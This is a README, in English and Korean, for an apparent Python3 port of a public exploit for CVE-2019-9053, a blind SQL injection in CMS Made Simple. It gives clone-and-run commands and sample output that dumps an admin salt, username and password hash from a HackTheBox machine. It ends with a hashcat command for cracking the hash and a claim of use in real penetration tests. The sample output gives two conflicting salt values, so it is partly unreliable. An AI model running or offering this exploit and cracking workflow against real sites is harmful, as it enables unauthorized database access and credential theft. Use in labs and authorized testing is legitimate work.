
Python3 exploit for CVE-2019-9053 (CMS Made Simple <= 2.2.9 SQLi). No deps, time-based blind SQLi → admin creds dump. HTB Writeup owned.
원본 Exploit-DB #46635 (Daniele Scanu 제작)의 순수 Python3 포트입니다. 시간 기반 블라인드 SQL 인젝션을 통해 취약한 CMS Made Simple 설치에서 관리자 자격 증명을 덤프합니다.
✅ 외부 종속성 없음 (requests만 필요)
✅ Python 3.6+ 네이티브 (f-strings, walrus 연산자)
✅ 아름다운 컬러 출력 (ANSI)
✅ 안정적이고 빠름 (평균 연결 시 약 3-5분 내 덤프)
✅ 프로덕션 대상에 대한 타임아웃/오류 처리
✅ Hashcat 준비 완료 출력 (salt + MD5 형식)
# Clone & run
git clone https://github.com/tim-karov/cmsms-sqli
cd cmsms-sqli
python3 cmsms-sqli.py url
# 예제 출력 (HTB Writeup):
[+] CVE-2019-9053 CMS Made Simple SQLi (Python3)
[+] Target: http://machine_ip/writeup/moduleinterface.php?mact=News,m1_,default,0
[+] Dumping SALT...
5a599ef579066807
[+] Salt: L7b8v5p3
[+] Dumping USERNAME...
jkr
[+] Username: jkr
[+] Dumping PASSWORD MD5...
62def4866937f08cc13bab43bb14e6f7
[+] MD5 Hash: 62def4866937f08cc13bab43bb14e6f7
[+] Crack: hashcat -a 0 -m 20 '62def4866937f08cc13bab43bb14e6f7:5a599ef579066807' /usr/share/wordlists/rockyou.txt
TIME = 3 # Sleep time (slower = more stable)
timeout = 20 # Request timeout
chars = '...' # Custom charset
원저자: Daniele Scanu
Exploit-DB: #46635
Python3 포트 및 개선: Tim Karov
MIT 라이선스 - LICENSE 참조
⭐ 도움이 되셨다면 Star를 눌러주세요! HTB/TryHackMe 랩 및 실제 침투 테스트에 사용되었습니다.